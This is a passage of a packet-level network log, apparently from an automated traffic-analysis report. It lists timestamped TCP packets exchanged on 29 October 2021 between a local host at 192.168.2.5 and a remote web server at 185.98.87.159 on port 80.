Oct 29, 2021 20:11:03.367199898 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.367202044 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.367238045 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.367238998 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.367275953 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.367314100 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.367352962 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.367353916 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.367392063 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.367404938 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.367433071 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.367468119 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.367506027 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.367506981 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.367543936 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.367543936 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.367583036 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.367619991 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.367656946 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.367660046 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.367693901 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.367695093 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.367734909 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.367770910 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.367808104 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.367809057 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.367846012 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.367846012 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.367882967 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.367921114 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.367959023 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.367976904 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.368016958 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.368022919 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.368077040 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.368133068 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.368175030 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.368185043 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.368223906 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.368235111 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.368292093 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.368350029 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.368391037 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.368408918 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.368449926 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.368470907 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.368529081 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.368568897 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.368609905 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.368614912 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.368653059 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.368664980 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.368715048 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.368772984 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.368817091 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.368829966 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.368875980 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.368923903 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.368978024 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.369018078 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.369054079 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.369064093 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.369092941 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.369095087 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.369132042 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.369168997 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.369206905 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.369215012 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.369246006 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.369250059 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.369285107 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.369323969 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.369328976 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.369362116 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.369400978 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.369438887 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.369442940 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.369477034 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.369481087 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.369514942 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.369554043 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.369591951 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.369596958 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.369632006 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.369633913 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.369668961 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.369708061 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.369746923 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.369748116 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.369785070 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.369786978 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.369823933 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.369862080 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.369899988 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.369903088 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.369940996 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.369941950 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.369977951 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.370018005 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.370055914 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.370059967 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.370093107 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.370099068 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.370132923 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.370171070 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.370208979 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.370209932 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.370246887 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.370249033 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.370285988 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.370323896 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.370351076 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.370377064 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.370409966 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.370445013 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.370460987 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.370481014 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.370515108 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.370516062 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.370553017 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.370587111 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.370599985 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.370623112 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.370630026 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.370660067 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.370692968 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.370728970 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.370733976 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.370764017 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.370776892 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.370800972 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.370807886 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.370836973 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.370841026 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.370872021 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.370883942 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.370908022 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.370913982 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.370944023 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.370949030 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.370978117 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.370985985 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.371014118 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.371017933 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.371048927 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.371056080 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.371085882 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.371092081 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.371123075 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.371128082 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.371156931 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.371164083 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.371192932 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.371196032 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.371228933 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.371234894 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.371262074 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.371268034 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.371296883 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.371303082 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.371331930 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.371344090 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.371368885 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.371371984 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.371404886 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.371411085 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.371438980 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.371448040 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.371475935 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.371479988 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.371510983 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.371516943 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.371545076 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.371551991 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.371581078 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.371587038 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.371615887 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.371620893 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.371651888 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.371680975 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.371687889 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.371700048 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.371722937 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.371750116 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.371757984 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.371769905 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.371793985 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.371798992 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.371828079 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.371840000 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.371864080 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.371867895 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.371898890 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.371906042 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.371934891 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.371938944 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.371970892 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.371979952 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.372021914 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.372026920 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.372057915 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.372064114 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.372097969 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.419563055 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.425065041 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.425091982 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.425111055 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.425127029 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.425142050 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.425164938 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.425184965 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.425240040 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.425529003 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.425555944 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.425571918 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.425590038 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.425602913 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.425622940 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.425642014 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.425658941 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.425659895 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.425684929 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.425695896 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.425709009 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.425715923 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.425734997 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.425767899 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.425784111 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.471626043 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.471679926 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.471762896 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.473870993 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.476969957 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.477010012 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.477042913 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.477047920 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.477066040 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.477077961 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.477097034 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.477140903 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.480916977 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.482419014 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.524521112 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.524615049 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.524660110 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.524705887 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.524708986 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.524765015 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.524779081 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.524802923 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.524840117 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.524873972 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.524913073 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.524951935 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.524972916 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.524988890 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.525027990 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.525049925 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.525067091 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.525104046 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.525141954 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.525157928 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.525180101 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.525219917 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.525233984 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.525259018 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.525270939 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.525296926 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.525335073 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.525374889 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.525388002 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.525413990 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.525424957 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.525451899 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.525490046 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.525527954 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.525540113 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.525567055 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.525573969 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.525604010 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.525641918 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.525680065 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.525691986 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.525715113 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.525726080 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.525753021 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.525790930 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.525829077 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.525844097 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.525867939 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.525881052 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.525906086 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.525943995 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.525995016 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.528999090 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.529056072 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.529097080 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.529114008 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.529134035 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.529162884 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.529172897 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.529211998 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.529248953 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.529258966 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.529287100 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.529289961 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.529325008 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.529367924 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.529407024 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.529411077 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.529443979 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.529448032 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.529481888 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.529520035 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.529556990 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.529567957 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.529594898 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.529598951 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.529633045 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.529671907 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.529711962 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.529715061 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.529753923 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.581851959 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.581909895 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.581948996 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.581990957 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.582005024 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.582030058 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.582031012 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.582070112 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.582107067 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.582144976 CEST	80	49839	185.98.87.159	192.168.2.5
